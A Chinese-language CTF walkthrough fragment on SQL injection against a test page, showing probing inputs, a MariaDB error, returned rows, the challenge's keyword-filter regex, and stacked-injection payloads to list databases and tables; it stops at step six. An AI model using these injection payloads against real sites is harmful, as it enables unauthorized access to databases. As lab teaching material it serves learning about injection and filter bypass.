- 判断传参方式,输入
1' or 1 = 1
,URL传参,所以是get
。
报错error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1
- 报错说明后端参数后面有可能存在其他sql语句,我们在原输入后面加一个
#
,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}
- 既然存在sql注入,那么手动探测一下其他的表,首先判断一下字段个数:
' union select 1,2;#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
select一被禁用,联合查询,报错注入,布尔时间盲注就都不可以使用了。我们只剩下了堆叠注入
。
4. 查看数据库名:1';show databases;#
5. 查看数据表:1';show tables;#
6.